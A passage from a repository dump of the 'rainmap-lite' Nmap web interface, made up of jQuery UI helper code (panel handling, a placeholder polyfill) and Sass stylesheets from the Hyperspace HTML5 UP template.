'left':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'right':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'top':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'bottom':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\tif (result) {\r\n\r\n\t\t\t\t\t\t\t\t$this.touchPosX = null;\r\n\t\t\t\t\t\t\t\t$this.touchPosY = null;\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t\treturn false;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Prevent vertical scrolling past the top or bottom.\r\n\t\t\t\t\t\tif (($this.scrollTop() < 0 && diffY < 0)\r\n\t\t\t\t\t\t|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Prevent certain events inside the panel from bubbling.\r\n\t\t\t\t$this.on('click touchend touchstart touchmove', function(event) {\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Hide panel if a child anchor tag pointing to its ID is clicked.\r\n\t\t\t\t$this.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Body.\r\n\r\n\t\t\t// Event: Hide panel on body click/tap.\r\n\t\t\t\t$body.on('click touchend', function(event) {\r\n\t\t\t\t\t$this._hide(event);\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Toggle.\r\n\t\t\t\t$body.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.toggleClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Window.\r\n\r\n\t\t\t// Event: Hide on ESC.\r\n\t\t\t\tif (config.hideOnEscape)\r\n\t\t\t\t\t$window.on('keydown', function(event) {\r\n\r\n\t\t\t\t\t\tif (event.keyCode == 27)\r\n\t\t\t\t\t\t\t$this._hide(event);\r\n\r\n\t\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Apply \"placeholder\" attribute polyfill to one or more forms.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.placeholder = function() {\r\n\r\n\t\t// Browser natively supports placeholders? Bail.\r\n\t\t\tif (typeof (document.createElement('input')).placeholder != 'undefined')\r\n\t\t\t\treturn $(this);\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).placeholder();\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar $this = $(this);\r\n\r\n\t\t// Text, TextArea.\r\n\t\t\t$this.find('input[type=text],textarea')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.val() == ''\r\n\t\t\t\t\t||  i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('blur', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('focus', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.removeClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val('');\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Password.\r\n\t\t\t$this.find('input[type=password]')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\t\t\t\t\tvar x = $(\r\n\t\t\t\t\t\t\t\t$('<div>')\r\n\t\t\t\t\t\t\t\t\t.append(i.clone())\r\n\t\t\t\t\t\t\t\t\t.remove()\r\n\t\t\t\t\t\t\t\t\t.html()\r\n\t\t\t\t\t\t\t\t\t.replace(/type=\"password\"/i, 'type=\"text\"')\r\n\t\t\t\t\t\t\t\t\t.replace(/type=password/i, 'type=text')\r\n\t\t\t\t\t);\r\n\r\n\t\t\t\t\tif (i.attr('id') != '')\r\n\t\t\t\t\t\tx.attr('id', i.attr('id') + '-polyfill-field');\r\n\r\n\t\t\t\t\tif (i.attr('name') != '')\r\n\t\t\t\t\t\tx.attr('name', i.attr('name') + '-polyfill-field');\r\n\r\n\t\t\t\t\tx.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t.val(x.attr('placeholder')).insertAfter(i);\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\ti\r\n\t\t\t\t\t\t.on('blur', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == '') {\r\n\r\n\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\tx.show();\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\tx\r\n\t\t\t\t\t\t.on('focus', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar i = x.parent().find('input[name=' + x.attr('name').replace('-polyfill-field', '') + ']');\r\n\r\n\t\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t\t.show()\r\n\t\t\t\t\t\t\t\t.focus();\r\n\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.on('keypress', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tx.val('');\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Events.\r\n\t\t\t$this\r\n\t\t\t\t.on('submit', function() {\r\n\r\n\t\t\t\t\t$this.find('input[type=text],input[type=password],textarea')\r\n\t\t\t\t\t\t.each(function(event) {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\t\t\ti.attr('name', '');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == i.attr('placeholder')) {\r\n\r\n\t\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\ti.val('');\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('reset', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t$this.find('select')\r\n\t\t\t\t\t\t.val($('option:first').val());\r\n\r\n\t\t\t\t\t$this.find('input,textarea')\r\n\t\t\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this),\r\n\t\t\t\t\t\t\t\tx;\r\n\r\n\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\r\n\t\t\t\t\t\t\tswitch (this.type) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'submit':\r\n\t\t\t\t\t\t\t\tcase 'reset':\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'password':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tx = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\t\t\tx.show();\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t\t\ti.show();\r\n\t\t\t\t\t\t\t\t\t\tx.hide();\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'checkbox':\r\n\t\t\t\t\t\t\t\tcase 'radio':\r\n\t\t\t\t\t\t\t\t\ti.attr('checked', i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'text':\r\n\t\t\t\t\t\t\t\tcase 'textarea':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.addClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\t\t\ti.val(i.attr('placeholder'));\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Moves elements to/from the first positions of their respective parents.\r\n\t * @param {jQuery} $elements Elements (or selector) to move.\r\n\t * @param {bool} condition If true, moves elements to the top. Otherwise, moves elements back to their original locations.\r\n\t */\r\n\t$.prioritize = function($elements, condition) {\r\n\r\n\t\tvar key = '__prioritize';\r\n\r\n\t\t// Expand $elements if it's not already a jQuery object.\r\n\t\t\tif (typeof $elements != 'jQuery')\r\n\t\t\t\t$elements = $($elements);\r\n\r\n\t\t// Step through elements.\r\n\t\t\t$elements.each(function() {\r\n\r\n\t\t\t\tvar\t$e = $(this), $p,\r\n\t\t\t\t\t$parent = $e.parent();\r\n\r\n\t\t\t\t// No parent? Bail.\r\n\t\t\t\t\tif ($parent.length == 0)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t// Not moved? Move it.\r\n\t\t\t\t\tif (!$e.data(key)) {\r\n\r\n\t\t\t\t\t\t// Condition is false? Bail.\r\n\t\t\t\t\t\t\tif (!condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Get placeholder (which will serve as our point of reference for when this element needs to move back).\r\n\t\t\t\t\t\t\t$p = $e.prev();\r\n\r\n\t\t\t\t\t\t\t// Couldn't find anything? Means this element's already at the top, so bail.\r\n\t\t\t\t\t\t\t\tif ($p.length == 0)\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Move element to top of parent.\r\n\t\t\t\t\t\t\t$e.prependTo($parent);\r\n\r\n\t\t\t\t\t\t// Mark element as moved.\r\n\t\t\t\t\t\t\t$e.data(key, $p);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Moved already?\r\n\t\t\t\t\telse {\r\n\r\n\t\t\t\t\t\t// Condition is true? Bail.\r\n\t\t\t\t\t\t\tif (condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t$p = $e.data(key);\r\n\r\n\t\t\t\t\t\t// Move element back to its original location (using our placeholder).\r\n\t\t\t\t\t\t\t$e.insertAfter($p);\r\n\r\n\t\t\t\t\t\t// Unmark element as moved.\r\n\t\t\t\t\t\t\t$e.removeData(key);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t});\r\n\r\n\t};\r\n\r\n})(jQuery);"
  },
  {
    "path": "rainmap-lite/nmaper/static/results/README.txt",
    "content": "Results are stored here...\n"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/base/_page.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Basic */\r\n\r\n\t// MSIE: Required for IEMobile.\r\n\t\t@-ms-viewport {\r\n\t\t\twidth: device-width;\r\n\t\t}\r\n\r\n\t// MSIE: Prevents scrollbar from overlapping content.\r\n\t\tbody {\r\n\t\t\t-ms-overflow-style: scrollbar;\r\n\t\t}\r\n\r\n\t// Ensures page width is always >=320px.\r\n\t\t@include breakpoint(xsmall) {\r\n\t\t\thtml, body {\r\n\t\t\t\tmin-width: 320px;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tbody {\r\n\t\tbackground: _palette(bg);\r\n\r\n\t\t// Prevents animation/transition \"flicker\" on page load.\r\n\t\t// Automatically added/removed by js/main.js.\r\n\t\t\t&.is-loading {\r\n\t\t\t\t*, *:before, *:after {\r\n\t\t\t\t\t@include vendor('animation', 'none !important');\r\n\t\t\t\t\t@include vendor('transition', 'none !important');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/base/_typography.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Type */\r\n\r\n\tbody, input, select, textarea {\r\n\t\tcolor: _palette(fg);\r\n\t\tfont-family: _font(family);\r\n\t\tfont-size: 16.5pt;\r\n\t\tfont-weight: _font(weight);\r\n\t\tline-height: 1.75;\r\n\r\n\t\t@include breakpoint(xlarge) {\r\n\t\t\tfont-size: 13pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint(large) {\r\n\t\t\tfont-size: 12pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint(xxsmall) {\r\n\t\t\tfont-size: 11pt;\r\n\t\t}\r\n\t}\r\n\r\n\ta {\r\n\t\t@include vendor('transition', (\r\n\t\t\t'color #{_duration(transition)} ease',\r\n\t\t\t'border-bottom-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tborder-bottom: dotted 1px _palette(fg-light);\r\n\t\tcolor: inherit;\r\n\t\ttext-decoration: none;\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-bottom-color: transparent;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tstrong, b {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t}\r\n\r\n\tem, i {\r\n\t\tfont-style: italic;\r\n\t}\r\n\r\n\tp {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t}\r\n\r\n\th1, h2, h3, h4, h5, h6 {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.25) 0;\r\n\r\n\t\ta {\r\n\t\t\tcolor: inherit;\r\n\t\t\ttext-decoration: none;\r\n\t\t}\r\n\t}\r\n\r\n\th1 {\r\n\t\tfont-size: 2.75em;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\t\t\tposition: relative;\r\n\t\t\tpadding-bottom: 0.35em;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\tbottom: 0;\r\n\t\t\t\tcontent: '';\r\n\t\t\t\theight: 0.05em;\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tright: 0;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\th2 {\r\n\t\tfont-size: 1.75em;\r\n\t}\r\n\r\n\th3 {\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\th4 {\r\n\t\tfont-size: 1em;\r\n\t}\r\n\r\n\th5 {\r\n\t\tfont-size: 0.8em;\r\n\t}\r\n\r\n\th6 {\r\n\t\tfont-size: 0.6em;\r\n\t}\r\n\r\n\t@include breakpoint(small) {\r\n\t\th1 {\r\n\t\t\tfont-size: 2em;\r\n\t\t}\r\n\r\n\t\th2 {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t}\r\n\r\n\t\th3 {\r\n\t\t\tfont-size: 1em;\r\n\t\t}\r\n\r\n\t\th4 {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\th5 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\r\n\t\th6 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\t}\r\n\r\n\tsub {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: 0.5em;\r\n\t}\r\n\r\n\tsup {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: -0.5em;\r\n\t}\r\n\r\n\tblockquote {\r\n\t\tborder-left: solid (_size(border-width) * 4) _palette(border);\r\n\t\tfont-style: italic;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding: (_size(element-margin) / 4) 0 (_size(element-margin) / 4) _size(element-margin);\r\n\t}\r\n\r\n\tcode {\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0.25em;\r\n\t\tpadding: 0.25em 0.65em;\r\n\t}\r\n\r\n\tpre {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tcode {\r\n\t\t\tdisplay: block;\r\n\t\t\tline-height: 1.75em;\r\n\t\t\tpadding: 1em 1.5em;\r\n\t\t\toverflow-x: auto;\r\n\t\t}\r\n\t}\r\n\r\n\thr {\r\n\t\tborder: 0;\r\n\t\tborder-bottom: solid _size(border-width) _palette(border);\r\n\t\tmargin: _size(element-margin) 0;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: (_size(element-margin) * 1.5) 0;\r\n\t\t}\r\n\t}\r\n\r\n\t.align-left {\r\n\t\ttext-align: left;\r\n\t}\r\n\r\n\t.align-center {\r\n\t\ttext-align: center;\r\n\t}\r\n\r\n\t.align-right {\r\n\t\ttext-align: right;\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_box.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Box */\r\n\r\n\t.box {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tmargin-bottom: _size(element-margin);\r\n\t\tpadding: 1.5em;\r\n\r\n\t\t> :last-child,\r\n\t\t> :last-child > :last-child,\r\n\t\t> :last-child > :last-child > :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder: 0;\r\n\t\t\tborder-radius: 0;\r\n\t\t\tpadding: 0;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_button.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Button */\r\n\r\n\tinput[type=\"submit\"],\r\n\tinput[type=\"reset\"],\r\n\tinput[type=\"button\"],\r\n\tbutton,\r\n\t.button {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\t@include vendor('transition', (\r\n\t\t\t'border-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tbackground-color: transparent;\r\n\t\tborder: solid 1px !important;\r\n\t\tborder-color: _palette(border) !important;\r\n\t\tborder-radius: 3em;\r\n\t\tcolor: _palette(fg-bold) !important;\r\n\t\tcursor: pointer;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-size: 0.6em;\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\theight: calc(4.75em + 2px);\r\n\t\tletter-spacing: _font(kerning-alt);\r\n\t\tline-height: 4.75em;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 3.75em;\r\n\t\tposition: relative;\r\n\t\ttext-align: center;\r\n\t\ttext-decoration: none;\r\n\t\ttext-transform: uppercase;\r\n\t\twhite-space: nowrap;\r\n\r\n\t\t&:after {\r\n\t\t\t@include vendor('transform', 'scale(0.25)');\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(transition)} ease',\r\n\t\t\t\t'transform #{_duration(transition)} ease'\r\n\t\t\t));\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 3em;\r\n\t\t\tcontent: '';\r\n\t\t\theight: 100%;\r\n\t\t\tleft: 0;\r\n\t\t\topacity: 0;\r\n\t\t\tposition: absolute;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.icon {\r\n\t\t\t&:before {\r\n\t\t\t\tmargin-right: 0.75em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.small {\r\n\t\t\tfont-size: 0.4em;\r\n\t\t}\r\n\r\n\t\t&.big {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\t&.special {\r\n\t\t\tbackground-color: _palette(fg-bold);\r\n\t\t\tcolor: _palette(bg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\tdisplay: none;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.disabled,\r\n\t\t&:disabled {\r\n\t\t\tcursor: default;\r\n\t\t\topacity: 0.5;\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t}\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-color: _palette(fg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\topacity: 0.05;\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t}\r\n\r\n\t\t\t&:active {\r\n\t\t\t\tborder-color: _palette(fg-bold) !important;\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\topacity: 0.1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_features.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\t@include vendor('display', 'flex');\r\n\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid 1px _palette(border);\r\n\t\tbackground: _palette(border-bg);\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tsection {\r\n\t\t\t@include padding(3em, 3em, (0.5em, 0, 0, 4em));\r\n\t\t\twidth: 50%;\r\n\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:nth-child(-n + 2) {\r\n\t\t\t\tborder-top-width: 0;\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2n) {\r\n\t\t\t\tborder-left: solid 1px _palette(border);\r\n\t\t\t}\r\n\r\n\t\t\t.icon {\r\n\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t'opacity #{_duration(activation) * 0.5} ease',\r\n\t\t\t\t\t'transform #{_duration(activation) * 0.5} ease'\r\n\t\t\t\t));\r\n\t\t\t\t@include vendor('transition-delay', '1s');\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tleft: 3em;\r\n\t\t\t\ttop: 3em;\r\n\t\t\t\topacity: 1;\r\n\t\t\t}\r\n\r\n\t\t\t@for $i from 1 through _misc(max-features) {\r\n\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t.icon {\r\n\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(transition) * 0.75 * $i)}');\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.inactive {\r\n\t\t\tsection {\r\n\t\t\t\t.icon {\r\n\t\t\t\t\t@include vendor('transform', 'scale(0.5)');\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(medium) {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\tsection {\r\n\t\t\t\tborder-top-width: 1px !important;\r\n\t\t\t\tborder-left-width: 0 !important;\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top-width: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(small) {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0.5em, 0, 0, 4em));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 1.5em;\r\n\t\t\t\t\ttop: 2em;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(xsmall) {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0, 0, 0, 0));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\tposition: relative;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_form.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Form */\r\n\r\n\tform {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\t.field {\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\r\n\t\t\t&.half {\r\n\t\t\t\twidth: 50%;\r\n\t\t\t\tfloat: left;\r\n\t\t\t\tpadding: 0 0 0 0.75em;\r\n\r\n\t\t\t\t&.first {\r\n\t\t\t\t\tpadding: 0 0.75em 0 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t> .actions {\r\n\t\t\tmargin: _size(element-margin) 0 0 0 !important;\r\n\t\t}\r\n\r\n\t\t@include breakpoint(small) {\r\n\t\t\t.field {\r\n\t\t\t\t&.half {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\tfloat: none;\r\n\t\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t\t&.first {\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tlabel {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.35) 0;\r\n\t\tdisplay: 